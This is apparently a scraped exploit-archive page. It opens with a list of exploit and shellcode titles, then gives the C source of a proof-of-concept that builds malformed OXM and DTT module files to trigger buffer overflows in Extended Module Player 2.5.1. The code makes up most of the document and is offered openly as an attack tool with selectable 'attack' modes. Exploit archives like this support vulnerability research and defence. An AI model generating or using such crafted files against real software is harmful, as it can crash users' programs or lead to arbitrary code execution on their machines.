
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
154 lines
No EOL
4.1 KiB
C
154 lines
No EOL
4.1 KiB
C
// source: https://www.securityfocus.com/bid/27047/info
|
|
|
|
Extended Module Player (xmp) is prone to multiple local buffer-overflow vulnerabilities because it fails to perform adequate boundary checks before copying user-supplied input into an insufficiently sized buffer.
|
|
|
|
These issues occur when the application handles specially crafted OXM and DTT files.
|
|
|
|
Attackers can exploit these issues to execute arbitrary code that could compromise the affected computer. Failed attacks will likely cause denial-of-service conditions.
|
|
|
|
Extended Media Player 2.5.1 is vulnerable; other versions may also be affected.
|
|
|
|
/*
|
|
|
|
by Luigi Auriemma
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
|
|
|
|
#define VER "0.1"
|
|
#define BUFFSZ 8192
|
|
#define BOFCHR 0x41414141
|
|
#define BOF1SZ 380
|
|
#define BOF2SZ 3000
|
|
#define u8 unsigned char
|
|
|
|
|
|
|
|
int putmm(u8 *data, u8 *src, int len);
|
|
int putxx(u8 *data, unsigned num, int bits);
|
|
void std_err(void);
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
FILE *fd;
|
|
int i,
|
|
attack;
|
|
u8 buff[BUFFSZ],
|
|
*fname,
|
|
*p;
|
|
|
|
setbuf(stdout, NULL);
|
|
|
|
fputs("\n"
|
|
"Extended Module Player <= 2.5.1 buffer-overflow "VER"\n"
|
|
"by Luigi Auriemma\n"
|
|
"e-mail: aluigi@autistici.org\n"
|
|
"web: aluigi.org\n"
|
|
"\n", stdout);
|
|
|
|
if(argc < 3) {
|
|
printf("\n"
|
|
"Usage: %s <attack> <output_file>\n"
|
|
"\n"
|
|
"Attack:\n"
|
|
" 1 = test_oxm, only *nix XMP reads this format (*.OXM)\n"
|
|
" 2 = dtt_load (*.DTT)\n"
|
|
"\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
attack = atoi(argv[1]);
|
|
fname = argv[2];
|
|
|
|
p = buff;
|
|
|
|
if(attack == 1) {
|
|
printf("- test_oxm\n");
|
|
|
|
p += putmm(p, "Extended Module:", 16);
|
|
p += putmm(p, "", 60 - 16);
|
|
p += putxx(p, 14, 32); // hlen
|
|
p += putmm(p, "", 6);
|
|
p += putxx(p, 0, 16); // npat
|
|
p += putxx(p, 1, 16); // nins
|
|
p += putxx(p, -1, 32); // ilen
|
|
for(i = 0; i < 32; i++) {
|
|
*p++ = 0xff; // buf + 27 (nsmp)
|
|
} // force return
|
|
for(i = 0; i < BOF2SZ; i++) {
|
|
*p++ = BOFCHR & 0xff; // buf
|
|
}
|
|
|
|
} else if(attack == 2) {
|
|
printf("- dtt_load\n");
|
|
|
|
p += putxx(p, 'D', 8);
|
|
p += putxx(p, 's', 8);
|
|
p += putxx(p, 'k', 8);
|
|
p += putxx(p, 'T', 8);
|
|
p += putmm(p, "name", 64);
|
|
p += putmm(p, "author", 64);
|
|
p += putxx(p, 0, 32); // flags
|
|
p += putxx(p, 0, 32); // m->xxh->chn
|
|
p += putxx(p, 0, 32); // m->xxh->len
|
|
p += putmm(p, "", 8); // buf
|
|
p += putxx(p, 0, 32); // m->xxh->tpo
|
|
p += putxx(p, 0, 32); // m->xxh->rst
|
|
p += putxx(p, BOF1SZ, 32); // m->xxh->pat
|
|
p += putxx(p, 0, 32); // m->xxh->ins = m->xxh->smp
|
|
p += putmm(p, "", 3); // fread(m->xxo, 1, (m->xxh->len
|
|
+ 3) & ~3L, f);
|
|
for(i = 0; i < BOF1SZ; i++) {
|
|
p += putxx(p, BOFCHR, 32); // first buffer-overflow
|
|
}
|
|
for(i = 0; i < (((BOF1SZ + 3) >> 2) << 2); i++) {
|
|
*p++ = BOFCHR & 0xff; // second buffer-overflow
|
|
}
|
|
|
|
} else {
|
|
printf("\nError: wrong attack number (%d)\n", attack);
|
|
exit(1);
|
|
}
|
|
|
|
printf("- create file %s\n", fname);
|
|
fd = fopen(fname, "wb");
|
|
if(!fd) std_err();
|
|
fwrite(buff, 1, p - buff, fd);
|
|
fclose(fd);
|
|
printf("- done\n");
|
|
return(0);
|
|
}
|
|
|
|
|
|
|
|
int putmm(u8 *data, u8 *src, int len) {
|
|
strncpy(data, src, len);
|
|
return(len);
|
|
}
|
|
|
|
|
|
|
|
int putxx(u8 *data, unsigned num, int bits) {
|
|
int i,
|
|
bytes;
|
|
|
|
bytes = bits >> 3;
|
|
|
|
for(i = 0; i < bytes; i++) {
|
|
data[i] = (num >> (i << 3)) & 0xff;
|
|
}
|
|
return(bytes);
|
|
}
|
|
|
|
|
|
|
|
void std_err(void) {
|
|
perror("\nError");
|
|
exit(1);
|
|
} |